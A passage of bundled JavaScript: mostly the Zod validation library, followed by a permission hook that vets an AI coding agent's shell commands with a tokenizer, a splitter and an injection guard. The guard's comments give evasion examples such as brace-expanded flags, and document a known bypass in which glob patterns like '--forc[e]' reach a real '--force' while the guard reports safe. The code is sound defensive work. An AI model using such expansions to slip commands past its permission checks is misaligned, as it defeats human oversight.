this.check(_minLength(1, ...args));\n	},\n	lowercase(params) {\n		return this.check(_lowercase(params));\n	},\n	uppercase(params) {\n		return this.check(_uppercase(params));\n	},\n	trim() {\n		return this.check(_trim());\n	},\n	normalize(...args) {\n		return this.check(_normalize(...args));\n	},\n	toLowerCase() {\n		return this.check(_toLowerCase());\n	},\n	toUpperCase() {\n		return this.check(_toUpperCase());\n	},\n	slugify() {\n		return this.check(_slugify());\n	}\n}));\nconst ZodString = /*@__PURE__*/ $constructor(\"ZodString\", (inst, def) => {\n	$ZodString.init(inst, def);\n	_ZodString.init(inst, def);\n}, {\n	email(params) {\n		return this.check(_email(ZodEmail, params));\n	},\n	url(params) {\n		return this.check(_url(ZodURL, params));\n	},\n	jwt(params) {\n		return this.check(_jwt(ZodJWT, params));\n	},\n	emoji(params) {\n		return this.check(_emoji(ZodEmoji, params));\n	},\n	guid(params) {\n		return this.check(_guid(ZodGUID, params));\n	},\n	uuid(params) {\n		return this.check(_uuid(ZodUUID, params));\n	},\n	uuidv4(params) {\n		return this.check(_uuidv4(ZodUUID, params));\n	},\n	uuidv6(params) {\n		return this.check(_uuidv6(ZodUUID, params));\n	},\n	uuidv7(params) {\n		return this.check(_uuidv7(ZodUUID, params));\n	},\n	nanoid(params) {\n		return this.check(_nanoid(ZodNanoID, params));\n	},\n	cuid(params) {\n		return this.check(_cuid(ZodCUID, params));\n	},\n	cuid2(params) {\n		return this.check(_cuid2(ZodCUID2, params));\n	},\n	ulid(params) {\n		return this.check(_ulid(ZodULID, params));\n	},\n	base64(params) {\n		return this.check(_base64(ZodBase64, params));\n	},\n	base64url(params) {\n		return this.check(_base64url(ZodBase64URL, params));\n	},\n	xid(params) {\n		return this.check(_xid(ZodXID, params));\n	},\n	ksuid(params) {\n		return this.check(_ksuid(ZodKSUID, params));\n	},\n	ipv4(params) {\n		return this.check(_ipv4(ZodIPv4, params));\n	},\n	ipv6(params) {\n		return this.check(_ipv6(ZodIPv6, params));\n	},\n	cidrv4(params) {\n		return this.check(_cidrv4(ZodCIDRv4, params));\n	},\n	cidrv6(params) {\n		return this.check(_cidrv6(ZodCIDRv6, params));\n	},\n	e164(params) {\n		return this.check(_e164(ZodE164, params));\n	},\n	datetime(params) {\n		return this.check(_isoDateTime(ZodISODateTime, params));\n	},\n	date(params) {\n		return this.check(_isoDate(ZodISODate, params));\n	},\n	time(params) {\n		return this.check(_isoTime(ZodISOTime, params));\n	},\n	duration(params) {\n		return this.check(_isoDuration(ZodISODuration, params));\n	}\n});\nfunction string(params) {\n	return _string(ZodString, params);\n}\nconst ZodStringFormat = /*@__PURE__*/ $constructor(\"ZodStringFormat\", (inst, def) => {\n	$ZodStringFormat.init(inst, def);\n	_ZodString.init(inst, def);\n});\nconst ZodISODateTime = /*@__PURE__*/ $constructor(\"ZodISODateTime\", (inst, def) => {\n	$ZodISODateTime.init(inst, def);\n	ZodStringFormat.init(inst, def);\n});\nconst ZodISODate = /*@__PURE__*/ $constructor(\"ZodISODate\", (inst, def) => {\n	$ZodISODate.init(inst, def);\n	ZodStringFormat.init(inst, def);\n});\nconst ZodISOTime = /*@__PURE__*/ $constructor(\"ZodISOTime\", (inst, def) => {\n	$ZodISOTime.init(inst, def);\n	ZodStringFormat.init(inst, def);\n});\nconst ZodISODuration = /*@__PURE__*/ $constructor(\"ZodISODuration\", (inst, def) => {\n	$ZodISODuration.init(inst, def);\n	ZodStringFormat.init(inst, def);\n});\nconst ZodEmail = /*@__PURE__*/ $constructor(\"ZodEmail\", (inst, def) => {\n	$ZodEmail.init(inst, def);\n	ZodStringFormat.init(inst, def);\n});\nconst ZodGUID = /*@__PURE__*/ $constructor(\"ZodGUID\", (inst, def) => {\n	$ZodGUID.init(inst, def);\n	ZodStringFormat.init(inst, def);\n});\nconst ZodUUID = /*@__PURE__*/ $constructor(\"ZodUUID\", (inst, def) => {\n	$ZodUUID.init(inst, def);\n	ZodStringFormat.init(inst, def);\n});\nconst ZodURL = /*@__PURE__*/ $constructor(\"ZodURL\", (inst, def) => {\n	$ZodURL.init(inst, def);\n	ZodStringFormat.init(inst, def);\n});\nconst ZodEmoji = /*@__PURE__*/ $constructor(\"ZodEmoji\", (inst, def) => {\n	$ZodEmoji.init(inst, def);\n	ZodStringFormat.init(inst, def);\n});\nconst ZodNanoID = /*@__PURE__*/ $constructor(\"ZodNanoID\", (inst, def) => {\n	$ZodNanoID.init(inst, def);\n	ZodStringFormat.init(inst, def);\n});\n/**\n* @deprecated CUID v1 is deprecated by its authors due to information leakage\n* (timestamps embedded in the id). Use {@link ZodCUID2} instead.\n* See https://github.com/paralleldrive/cuid.\n*/\nconst ZodCUID = /*@__PURE__*/ $constructor(\"ZodCUID\", (inst, def) => {\n	$ZodCUID.init(inst, def);\n	ZodStringFormat.init(inst, def);\n});\nconst ZodCUID2 = /*@__PURE__*/ $constructor(\"ZodCUID2\", (inst, def) => {\n	$ZodCUID2.init(inst, def);\n	ZodStringFormat.init(inst, def);\n});\nconst ZodULID = /*@__PURE__*/ $constructor(\"ZodULID\", (inst, def) => {\n	$ZodULID.init(inst, def);\n	ZodStringFormat.init(inst, def);\n});\nconst ZodXID = /*@__PURE__*/ $constructor(\"ZodXID\", (inst, def) => {\n	$ZodXID.init(inst, def);\n	ZodStringFormat.init(inst, def);\n});\nconst ZodKSUID = /*@__PURE__*/ $constructor(\"ZodKSUID\", (inst, def) => {\n	$ZodKSUID.init(inst, def);\n	ZodStringFormat.init(inst, def);\n});\nconst ZodIPv4 = /*@__PURE__*/ $constructor(\"ZodIPv4\", (inst, def) => {\n	$ZodIPv4.init(inst, def);\n	ZodStringFormat.init(inst, def);\n});\nconst ZodIPv6 = /*@__PURE__*/ $constructor(\"ZodIPv6\", (inst, def) => {\n	$ZodIPv6.init(inst, def);\n	ZodStringFormat.init(inst, def);\n});\nconst ZodCIDRv4 = /*@__PURE__*/ $constructor(\"ZodCIDRv4\", (inst, def) => {\n	$ZodCIDRv4.init(inst, def);\n	ZodStringFormat.init(inst, def);\n});\nconst ZodCIDRv6 = /*@__PURE__*/ $constructor(\"ZodCIDRv6\", (inst, def) => {\n	$ZodCIDRv6.init(inst, def);\n	ZodStringFormat.init(inst, def);\n});\nconst ZodBase64 = /*@__PURE__*/ $constructor(\"ZodBase64\", (inst, def) => {\n	$ZodBase64.init(inst, def);\n	ZodStringFormat.init(inst, def);\n});\nconst ZodBase64URL = /*@__PURE__*/ $constructor(\"ZodBase64URL\", (inst, def) => {\n	$ZodBase64URL.init(inst, def);\n	ZodStringFormat.init(inst, def);\n});\nconst ZodE164 = /*@__PURE__*/ $constructor(\"ZodE164\", (inst, def) => {\n	$ZodE164.init(inst, def);\n	ZodStringFormat.init(inst, def);\n});\nconst ZodJWT = /*@__PURE__*/ $constructor(\"ZodJWT\", (inst, def) => {\n	$ZodJWT.init(inst, def);\n	ZodStringFormat.init(inst, def);\n});\nconst ZodUnknown = /*@__PURE__*/ $constructor(\"ZodUnknown\", (inst, def) => {\n	$ZodUnknown.init(inst, def);\n	ZodType.init(inst, def);\n	inst._zod.processJSONSchema = (ctx, json, params) => unknownProcessor(inst, ctx, json, params);\n});\nfunction unknown() {\n	return _unknown(ZodUnknown);\n}\nconst ZodNever = /*@__PURE__*/ $constructor(\"ZodNever\", (inst, def) => {\n	$ZodNever.init(inst, def);\n	ZodType.init(inst, def);\n	inst._zod.processJSONSchema = (ctx, json, params) => neverProcessor(inst, ctx, json, params);\n});\nfunction never(params) {\n	return _never(ZodNever, params);\n}\nconst ZodArray = /*@__PURE__*/ $constructor(\"ZodArray\", (inst, def) => {\n	_ensureDefaultMemoizer();\n	$ZodArray.init(inst, def);\n	ZodType.init(inst, def);\n	inst._zod.processJSONSchema = (ctx, json, params) => arrayProcessor(inst, ctx, json, params);\n	inst.element = def.element;\n}, {\n	min(n, params) {\n		return this.check(_minLength(n, params));\n	},\n	nonempty(params) {\n		return this.check(_minLength(1, params));\n	},\n	max(n, params) {\n		return this.check(_maxLength(n, params));\n	},\n	length(n, params) {\n		return this.check(_length(n, params));\n	},\n	unwrap() {\n		return this.element;\n	}\n});\nfunction array(element, params) {\n	return _array(ZodArray, element, params);\n}\nconst ZodObject = /*@__PURE__*/ $constructor(\"ZodObject\", (inst, def) => {\n	_ensureDefaultMemoizer();\n	$ZodObjectJIT.init(inst, def);\n	ZodType.init(inst, def);\n	inst._zod.processJSONSchema = (ctx, json, params) => objectProcessor(inst, ctx, json, params);\n	installLazyProp(inst, \"shape\", (self) => self._zod.def.shape, false);\n}, {\n	keyof() {\n		return _enum(Object.keys(this._zod.def.shape));\n	},\n	catchall(catchall) {\n		return this.clone(mergeDefs(this._zod.def, { catchall }));\n	},\n	passthrough() {\n		return this.clone(mergeDefs(this._zod.def, { catchall: unknown() }));\n	},\n	loose() {\n		return this.clone(mergeDefs(this._zod.def, { catchall: unknown() }));\n	},\n	strict() {\n		return this.clone(mergeDefs(this._zod.def, { catchall: never() }));\n	},\n	strip() {\n		return this.clone(mergeDefs(this._zod.def, { catchall: void 0 }));\n	},\n	extend(incoming) {\n		return extend(this, incoming);\n	},\n	safeExtend(incoming) {\n		return safeExtend(this, incoming);\n	},\n	merge(other) {\n		return merge(this, other);\n	},\n	pick(mask) {\n		return pick(this, mask);\n	},\n	omit(mask) {\n		return omit(this, mask);\n	},\n	partial(...args) {\n		return partial(ZodOptional, this, args[0]);\n	},\n	exactPartial(...args) {\n		return partial(ZodExactOptional, this, args[0], \"exactPartial\");\n	},\n	required(...args) {\n		return required(ZodNonOptional, this, args[0]);\n	}\n});\nfunction object(shape, params) {\n	const def = {\n		type: \"object\",\n		shape: shape ?? {},\n		...normalizeParams(params)\n	};\n	return new ZodObject(def);\n}\nconst ZodUnion = /*@__PURE__*/ $constructor(\"ZodUnion\", (inst, def) => {\n	$ZodUnion.init(inst, def);\n	ZodType.init(inst, def);\n	inst._zod.processJSONSchema = (ctx, json, params) => unionProcessor(inst, ctx, json, params);\n	inst.options = def.options;\n});\nfunction union(options, params) {\n	return new ZodUnion({\n		type: \"union\",\n		options,\n		...normalizeParams(params)\n	});\n}\nconst ZodIntersection = /*@__PURE__*/ $constructor(\"ZodIntersection\", (inst, def) => {\n	$ZodIntersection.init(inst, def);\n	ZodType.init(inst, def);\n	inst._zod.processJSONSchema = (ctx, json, params) => intersectionProcessor(inst, ctx, json, params);\n});\nfunction intersection(left, right) {\n	return new ZodIntersection({\n		type: \"intersection\",\n		left,\n		right\n	});\n}\nconst ZodRecord = /*@__PURE__*/ $constructor(\"ZodRecord\", (inst, def) => {\n	_ensureDefaultMemoizer();\n	$ZodRecord.init(inst, def);\n	ZodType.init(inst, def);\n	inst._zod.processJSONSchema = (ctx, json, params) => recordProcessor(inst, ctx, json, params);\n	inst.keyType = def.keyType;\n	inst.valueType = def.valueType;\n});\nfunction record(keyType, valueType, params) {\n	if (!valueType || !valueType._zod) return new ZodRecord({\n		type: \"record\",\n		keyType: string(),\n		valueType: keyType,\n		...normalizeParams(valueType)\n	});\n	return new ZodRecord({\n		type: \"record\",\n		keyType,\n		valueType,\n		...normalizeParams(params)\n	});\n}\nconst ZodEnum = /*@__PURE__*/ $constructor(\"ZodEnum\", (inst, def) => {\n	$ZodEnum.init(inst, def);\n	ZodType.init(inst, def);\n	inst._zod.processJSONSchema = (ctx, json, params) => enumProcessor(inst, ctx, json, params);\n	inst.enum = def.entries;\n	inst.options = [...inst._zod.values];\n	const keys = new Set(Object.keys(def.entries));\n	inst.extract = (values, params) => {\n		const newEntries = {};\n		for (const value of values) if (keys.has(value)) newEntries[value] = def.entries[value];\n		else throw new Error(`Key ${value} not found in enum`);\n		return new ZodEnum({\n			...def,\n			checks: [],\n			...normalizeParams(params),\n			entries: newEntries\n		});\n	};\n	inst.exclude = (values, params) => {\n		const newEntries = { ...def.entries };\n		for (const value of values) if (keys.has(value)) delete newEntries[value];\n		else throw new Error(`Key ${value} not found in enum`);\n		return new ZodEnum({\n			...def,\n			checks: [],\n			...normalizeParams(params),\n			entries: newEntries\n		});\n	};\n});\nfunction _enum(values, params) {\n	const entries = Array.isArray(values) ? Object.fromEntries(values.map((v) => [v, v])) : values;\n	return new ZodEnum({\n		type: \"enum\",\n		entries,\n		...normalizeParams(params)\n	});\n}\nconst ZodTransform = /*@__PURE__*/ $constructor(\"ZodTransform\", (inst, def) => {\n	_ensureDefaultMemoizer();\n	$ZodTransform.init(inst, def);\n	ZodType.init(inst, def);\n	inst._zod.processJSONSchema = (ctx, json, params) => transformProcessor(inst, ctx, json, params);\n	inst._zod.parse = (payload, _ctx) => {\n		if (_ctx.direction === \"backward\") throw new $ZodEncodeError(inst.constructor.name);\n		payload.addIssue = (issue$1) => {\n			if (typeof issue$1 === \"string\") payload.issues.push(issue(issue$1, payload.value, def));\n			else {\n				const _issue = issue$1;\n				if (_issue.fatal) _issue.continue = false;\n				_issue.code ?? (_issue.code = \"custom\");\n				if (!(\"input\" in _issue)) _issue.input = payload.value;\n				_issue.inst ?? (_issue.inst = inst);\n				payload.issues.push(issue(_issue));\n			}\n		};\n		const output = def.transform(payload.value, payload);\n		if (output instanceof Promise) return output.then((output) => {\n			payload.value = output;\n			return payload;\n		});\n		payload.value = output;\n		return payload;\n	};\n});\nfunction transform(fn) {\n	return new ZodTransform({\n		type: \"transform\",\n		transform: fn\n	});\n}\nconst ZodOptional = /*@__PURE__*/ $constructor(\"ZodOptional\", (inst, def) => {\n	$ZodOptional.init(inst, def);\n	ZodType.init(inst, def);\n	inst._zod.processJSONSchema = (ctx, json, params) => optionalProcessor(inst, ctx, json, params);\n	inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction optional(innerType) {\n	return new ZodOptional({\n		type: \"optional\",\n		innerType\n	});\n}\nconst ZodExactOptional = /*@__PURE__*/ $constructor(\"ZodExactOptional\", (inst, def) => {\n	$ZodExactOptional.init(inst, def);\n	ZodType.init(inst, def);\n	inst._zod.processJSONSchema = (ctx, json, params) => optionalProcessor(inst, ctx, json, params);\n	inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction exactOptional(innerType) {\n	return new ZodExactOptional({\n		type: \"optional\",\n		innerType\n	});\n}\nconst ZodNullable = /*@__PURE__*/ $constructor(\"ZodNullable\", (inst, def) => {\n	$ZodNullable.init(inst, def);\n	ZodType.init(inst, def);\n	inst._zod.processJSONSchema = (ctx, json, params) => nullableProcessor(inst, ctx, json, params);\n	inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction nullable(innerType) {\n	return new ZodNullable({\n		type: \"nullable\",\n		innerType\n	});\n}\nconst ZodDefault = /*@__PURE__*/ $constructor(\"ZodDefault\", (inst, def) => {\n	$ZodDefault.init(inst, def);\n	ZodType.init(inst, def);\n	inst._zod.processJSONSchema = (ctx, json, params) => defaultProcessor(inst, ctx, json, params);\n	inst.unwrap = () => inst._zod.def.innerType;\n	inst.removeDefault = inst.unwrap;\n});\nfunction _default(innerType, defaultValue) {\n	return new ZodDefault({\n		type: \"default\",\n		innerType,\n		get defaultValue() {\n			return typeof defaultValue === \"function\" ? defaultValue() : shallowClone(defaultValue);\n		}\n	});\n}\nconst ZodPrefault = /*@__PURE__*/ $constructor(\"ZodPrefault\", (inst, def) => {\n	$ZodPrefault.init(inst, def);\n	ZodType.init(inst, def);\n	inst._zod.processJSONSchema = (ctx, json, params) => prefaultProcessor(inst, ctx, json, params);\n	inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction prefault(innerType, defaultValue) {\n	return new ZodPrefault({\n		type: \"prefault\",\n		innerType,\n		get defaultValue() {\n			return typeof defaultValue === \"function\" ? defaultValue() : shallowClone(defaultValue);\n		}\n	});\n}\nconst ZodNonOptional = /*@__PURE__*/ $constructor(\"ZodNonOptional\", (inst, def) => {\n	$ZodNonOptional.init(inst, def);\n	ZodType.init(inst, def);\n	inst._zod.processJSONSchema = (ctx, json, params) => nonoptionalProcessor(inst, ctx, json, params);\n	inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction nonoptional(innerType, params) {\n	return new ZodNonOptional({\n		type: \"nonoptional\",\n		innerType,\n		...normalizeParams(params)\n	});\n}\nconst ZodCatch = /*@__PURE__*/ $constructor(\"ZodCatch\", (inst, def) => {\n	$ZodCatch.init(inst, def);\n	ZodType.init(inst, def);\n	inst._zod.processJSONSchema = (ctx, json, params) => catchProcessor(inst, ctx, json, params);\n	inst.unwrap = () => inst._zod.def.innerType;\n	inst.removeCatch = inst.unwrap;\n});\nfunction _catch(innerType, catchValue) {\n	return new ZodCatch({\n		type: \"catch\",\n		innerType,\n		catchValue: typeof catchValue === \"function\" ? catchValue : constantCatch(catchValue)\n	});\n}\nconst ZodPipe = /*@__PURE__*/ $constructor(\"ZodPipe\", (inst, def) => {\n	$ZodPipe.init(inst, def);\n	ZodType.init(inst, def);\n	inst._zod.processJSONSchema = (ctx, json, params) => pipeProcessor(inst, ctx, json, params);\n	inst.in = def.in;\n	inst.out = def.out;\n});\nfunction pipe(in_, out) {\n	return new ZodPipe({\n		type: \"pipe\",\n		in: in_,\n		out\n	});\n}\nconst ZodReadonly = /*@__PURE__*/ $constructor(\"ZodReadonly\", (inst, def) => {\n	$ZodReadonly.init(inst, def);\n	ZodType.init(inst, def);\n	inst._zod.processJSONSchema = (ctx, json, params) => readonlyProcessor(inst, ctx, json, params);\n	inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction readonly(innerType) {\n	return new ZodReadonly({\n		type: \"readonly\",\n		innerType\n	});\n}\nconst ZodCustom = /*@__PURE__*/ $constructor(\"ZodCustom\", (inst, def) => {\n	$ZodCustom.init(inst, def);\n	ZodType.init(inst, def);\n	inst._zod.processJSONSchema = (ctx, json, params) => customProcessor(inst, ctx, json, params);\n});\nfunction refine(fn, _params = {}) {\n	return _refine(ZodCustom, fn, _params);\n}\nfunction superRefine(fn, params) {\n	return _superRefine(fn, params);\n}\n\n//#endregion\n//#region src/lib/hook-io.ts\nconst HookInputSchema = object({\n	session_id: string(),\n	transcript_path: string(),\n	cwd: string(),\n	permission_mode: string(),\n	hook_event_name: string(),\n	tool_name: string(),\n	tool_input: record(string(), unknown())\n});\n/**\n* Read and parse the full stdin as JSON.\n* Returns a result with the validated HookInput, or the raw data and error on failure.\n*/\nasync function readHookInput() {\n	const chunks = [];\n	for await (const chunk of process.stdin) chunks.push(typeof chunk === \"string\" ? chunk : String(chunk));\n	let parsed;\n	try {\n		parsed = JSON.parse(chunks.join(\"\"));\n	} catch (_error) {\n		return {\n			ok: false,\n			raw: chunks.join(\"\").slice(0, 200),\n			error: \"invalid JSON\"\n		};\n	}\n	const result = HookInputSchema.safeParse(parsed);\n	if (!result.success) return {\n		ok: false,\n		raw: parsed,\n		error: result.error.message\n	};\n	return {\n		ok: true,\n		data: result.data\n	};\n}\nconst BashInputSchema = object({\n	command: string(),\n	description: optional(string())\n});\nconst FilePathInputSchema = object({ file_path: string() });\nconst SearchInputSchema = object({\n	pattern: string(),\n	path: optional(string())\n});\n/** Parse tool_input as Bash input. Returns null if invalid. */\nfunction parseBashInput(toolInput) {\n	const result = BashInputSchema.safeParse(toolInput);\n	return result.success ? result.data : null;\n}\n/** Parse tool_input as file-path input (Read, Write, Edit). Returns null if invalid. */\nfunction parseFilePathInput(toolInput) {\n	const result = FilePathInputSchema.safeParse(toolInput);\n	return result.success ? result.data : null;\n}\n/** Parse tool_input as search input (Glob, Grep). Returns null if invalid. */\nfunction parseSearchInput(toolInput) {\n	const result = SearchInputSchema.safeParse(toolInput);\n	return result.success ? result.data : null;\n}\nfunction writeDecision(action, detail) {\n	const decision = { hookSpecificOutput: {\n		hookEventName: \"PreToolUse\",\n		permissionDecision: action,\n		...action === \"deny\" && detail ? { permissionDecisionReason: detail } : {},\n		...action === \"allow\" && detail ? { additionalContext: detail } : {}\n	} };\n	process.stdout.write(JSON.stringify(decision));\n}\n\n//#endregion\n//#region src/lib/audit.ts\nconst MAX_LOG_SIZE = 1048576;\n/**\n* Resolve the audit log path relative to the hook's own location.\n* Co-located at `.claude/hooks/bst-hook.audit.local.jsonl`.\n*/\nfunction getLogPath() {\n	const hookDir = path.dirname(fileURLToPath(import.meta.url));\n	return path.join(hookDir, \"bst-hook.audit.local.jsonl\");\n}\n/**\n* Rotate the log file if it exceeds MAX_LOG_SIZE.\n* Renames current log to `.1` and starts fresh.\n* Safe against concurrent rotation -- ENOENT on rename is expected and ignored.\n*/\nfunction rotateIfNeeded(logPath) {\n	try {\n		if (fs.statSync(logPath).size > MAX_LOG_SIZE) {\n			const rotatedPath = `${logPath}.1`;\n			fs.renameSync(logPath, rotatedPath);\n		}\n	} catch (_error) {}\n}\n/** Whether rotation has been checked this session */\nlet rotationChecked = false;\n/**\n* Append an audit entry to the JSONL log.\n* Never throws -- audit failures log to stderr and continue.\n*/\nfunction audit(entry) {\n	try {\n		const logPath = getLogPath();\n		if (!rotationChecked) {\n			rotateIfNeeded(logPath);\n			rotationChecked = true;\n		}\n		const record = {\n			timestamp: (/* @__PURE__ */ new Date()).toISOString(),\n			...entry\n		};\n		fs.appendFileSync(logPath, JSON.stringify(record) + \"\\n\");\n	} catch (err) {\n		process.stderr.write(`[bst-hook] audit write failed: ${err instanceof Error ? err.message : String(err)}\\n`);\n	}\n}\n\n//#endregion\n//#region src/lib/shell-tokenizer.ts\n/**\n* Scan a double-quoted string starting at `start` (the char after the opening\n* quote). Returns the unescaped content and the index just past the closing\n* quote, or `null` if the quote is never closed.\n*/\nfunction scanDoubleQuoted(input, start) {\n	let content = \"\";\n	let i = start;\n	while (i < input.length && input[i] !== \"\\\"\") {\n		if (input[i] === \"\\\\\" && i + 1 < input.length) {\n			const next = input[i + 1];\n			if (next === \"\\\"\" || next === \"\\\\\" || next === \"$\" || next === \"`\") {\n				content += next;\n				i += 2;\n				continue;\n			}\n		}\n		content += input[i];\n		i++;\n	}\n	if (i >= input.length) return null;\n	return {\n		content,\n		next: i + 1\n	};\n}\nfunction tokenize(input) {\n	const tokens = [];\n	let current = \"\";\n	let i = 0;\n	let inToken = false;\n	while (i < input.length) {\n		const ch = input[i];\n		if (ch === \"'\") {\n			inToken = true;\n			i++;\n			while (i < input.length && input[i] !== \"'\") {\n				current += input[i];\n				i++;\n			}\n			if (i >= input.length) return {\n				ok: false,\n				error: \"unterminated single quote\"\n			};\n			i++;\n		} else if (ch === \"\\\"\") {\n			inToken = true;\n			const scanned = scanDoubleQuoted(input, i + 1);\n			if (!scanned) return {\n				ok: false,\n				error: \"unterminated double quote\"\n			};\n			current += scanned.content;\n			i = scanned.next;\n		} else if (ch === \"\\\\\" && i + 1 < input.length) {\n			inToken = true;\n			current += input[i + 1];\n			i += 2;\n		} else if (ch === \" \" || ch === \"	\") {\n			if (inToken) {\n				tokens.push(current);\n				current = \"\";\n				inToken = false;\n			}\n			i++;\n		} else {\n			inToken = true;\n			current += ch;\n			i++;\n		}\n	}\n	if (inToken) tokens.push(current);\n	return {\n		ok: true,\n		tokens\n	};\n}\n/**\n* Characters safe to leave unquoted when re-emitting a token. Anything outside\n* this set could be interpreted by the shell-splitter or tokenizer on a\n* subsequent pass (operators, whitespace, quotes, globs, vars, etc.).\n*/\nconst SAFE_UNQUOTED_RE = /^[A-Za-z0-9_\\-./=:@%+,]+$/;\n/** Single-quote-wrap a token unless it only contains safe characters. */\nfunction quoteToken(token) {\n	if (token.length > 0 && SAFE_UNQUOTED_RE.test(token)) return token;\n	return \"'\" + token.replace(/'/g, \"'\\\\''\") + \"'\";\n}\n/**\n* Inverse of `tokenize`: join tokens into a command string that survives\n* round-tripping through `splitCommand` and `tokenize`.\n*\n* Naive `tokens.join(\" \")` is lossy: any token that was originally quoted\n* loses its quote wrapper and may be mis-parsed when split/tokenized again\n* (e.g. `--testPathPattern=a|b` would split on the embedded `|`).\n*/\nfunction joinTokens(tokens) {\n	return tokens.map(quoteToken).join(\" \");\n}\n\n//#endregion\n//#region src/lib/shell-splitter.ts\n/**\n* Split a raw command string into segments on unquoted &&, ||, ;, and | operators.\n* Quote-aware: operators inside single or double quotes are not split points.\n*\n* Returns segments with the operator that follows each one (null for the last segment).\n*/\nfunction splitCommand(input) {\n	if (!input || !input.trim()) return [];\n	const segments = [];\n	let current = \"\";\n	let i = 0;\n	let inSingleQuote = false;\n	let inDoubleQuote = false;\n	while (i < input.length) {\n		const ch = input[i];\n		if (ch === \"'\" && !inDoubleQuote) {\n			inSingleQuote = !inSingleQuote;\n			current += ch;\n			i++;\n			continue;\n		}\n		if (ch === \"\\\"\" && !inSingleQuote) {\n			inDoubleQuote = !inDoubleQuote;\n			current += ch;\n			i++;\n			continue;\n		}\n		if (ch === \"\\\\\" && !inSingleQuote && i + 1 < input.length) {\n			current += ch + input[i + 1];\n			i += 2;\n			continue;\n		}\n		if (!inSingleQuote && !inDoubleQuote) {\n			if (ch === \"&\" && i + 1 < input.length && input[i + 1] === \"&\") {\n				pushSegment(segments, current, \"&&\");\n				current = \"\";\n				i += 2;\n				continue;\n			}\n			if (ch === \"&\" && !(i + 1 < input.length && input[i + 1] === \">\") && !(i > 0 && (input[i - 1] === \">\" || input[i - 1] === \"<\"))) {\n				pushSegment(segments, current, \"&\");\n				current = \"\";\n				i++;\n				continue;\n			}\n			if (ch === \"|\" && i + 1 < input.length && input[i + 1] === \"|\") {\n				pushSegment(segments, current, \"||\");\n				current = \"\";\n				i += 2;\n				continue;\n			}\n			if (ch === \"|\") {\n				pushSegment(segments, current, \"|\");\n				current = \"\";\n				i++;\n				continue;\n			}\n			if (ch === \";\") {\n				pushSegment(segments, current, \";\");\n				current = \"\";\n				i++;\n				continue;\n			}\n		}\n		current += ch;\n		i++;\n	}\n	const trimmed = current.trim();\n	if (trimmed) segments.push({\n		command: trimmed,\n		operator: null\n	});\n	return segments;\n}\nfunction pushSegment(segments, text, operator) {\n	const trimmed = text.trim();\n	if (trimmed) segments.push({\n		command: trimmed,\n		operator\n	});\n}\n\n//#endregion\n//#region src/lib/injection-guard.ts\n/** Safe redirect patterns that don't constitute file writes */\nconst SAFE_REDIRECTS = /* @__PURE__ */ new Set([\n	\"2>&1\",\n	\"2>/dev/null\",\n	\">/dev/null\",\n	\"1>/dev/null\"\n]);\n/**\n* Bash brace expansion: a `{...}` group containing a comma (list form,\n* `{a,b}`/`{a,}`/`{,a}`) or `..` (range form, `{1..3}`/`{a..z}`) is expanded\n* into multiple words *before* the command runs -- so `--for{c,}e` reaches the\n* program as argv `--force --fore` and `r{m,}m` as `rmm rm`. Braces without a\n* comma or `..` (`a{b}`, `HEAD@{1}`, `{}`) are left literal by bash and must\n* not be flagged.\n*\n* Bash brace expansion is *recursive*: a comma/range list expands even when a\n* branch of it contains its own nested `{...}`, so `--for{c,{}}e` still yields\n* `--force`. A regex cannot express \"a `,` or `..` at balanced brace depth\"\n* (the earlier `/\\{[^{}]*(?:,|\\.\\.)[^{}]*\\}/` required the separator to be\n* flanked by brace-free text out to the enclosing braces, which nested braces\n* defeat while bash still expands). So this is a depth-aware scan: increment on\n* `{`, decrement on `}` (never below 0), and flag the token if a `,` or `..`\n* appears while depth >= 1 -- i.e. anywhere inside any brace group, no matter\n* how deeply nested. Fail-closed: unbalanced braces are flagged too.\n*\n* As with `$`-expansion, the tokenizer has already stripped single quotes by\n* the time `checkInjection` runs, so a genuinely-quoted `'{a,b}'` or\n* `'{\"a\":1,\"b\":2}'` is indistinguishable from an unquoted brace-expansion here\n* and is flagged too -- an accepted fail-closed false positive (passthrough\n* only prompts a human).\n*/\nfunction hasBraceExpansion(token) {\n	let depth = 0;\n	for (let i = 0; i < token.length; i++) {\n		const ch = token[i];\n		if (ch === \"{\") depth++;\n		else if (ch === \"}\") {\n			if (depth > 0) depth--;\n		} else if (depth >= 1 && (ch === \",\" || ch === \".\" && token[i + 1] === \".\")) return true;\n	}\n	return false;\n}\n/**\n* An output-redirect token is safe only when it targets `/dev/null` -- either as\n* a combined token (`>/dev/null`) or a bare operator whose next token is `/dev/null`.\n*/\nfunction isSafeOutputRedirect(token, next) {\n	if (token.endsWith(\">/dev/null\")) return true;\n	return token.match(/^(&>>|&>|>>|>|1>|2>)$/) !== null && next === \"/dev/null\";\n}\n/**\n* Detect dangerous patterns in tokenized command segments.\n*\n* Checks for:\n* - Command substitution (`$(...)`, backticks)\n* - Any other unresolved `$`-expansion (`${...}`, `$'...'`, `$\"...\"`, `$VAR`, `$1`, ...)\n* - Brace expansion (`{a,b}` list form, `{1..3}` range form)\n* - Process substitution (`<(...)`, `>(...)`)\n* - File redirects (`>`, `>>`, `<` to non-/dev/null targets) -- skipped when `skipRedirects` is true\n* - Newlines in raw segment (injection via line splitting)\n*\n* The tokenizer (`shell-tokenizer.ts`) resolves single-quoted and\n* backslash-escaped content into plain characters before this function ever\n* sees it -- so a token's surviving `$` is indistinguishable between \"bash\n* will expand this\" (`$(...)`, `${...}`, `$'...'`, `$\"...\"`, `$VAR`, `$1`,\n* `$@`, `$?`, ...) and \"this `$` was always a literal character\" (e.g. from\n* `'cost $5'` or `\\$5`). Rather than trying to reconstruct quote context\n* after the fact, any token still containing a `$` is treated as unsafe.\n* This is deliberately fail-closed: it routes the segment to passthrough\n* (a human is prompted) rather than risking an unresolved expansion silently\n* auto-approving or auto-denying based on the wrong argv.\n*\n* ## Expansions this guard knowingly does NOT model\n*\n* Two weaker members of the same \"unmodeled expansion\" family are left open. Both were\n* surfaced by the adversarial review of the issue-attachments hardening and verified\n* empirically against real bash plus this evaluator. **Decision (2026-07-13): accept as\n* documented limitations.** They are recorded here, not as a todo, because the next\n* person to touch this function is the person who needs to know.\n*\n* **Glob reconstruction.** `bst issue:download 273 --forc[e]` (also `--forc?`, `--for*`,\n* `--*`) expands to a real `--force` argv and this returns `safe` -- but *only when a file\n* literally named 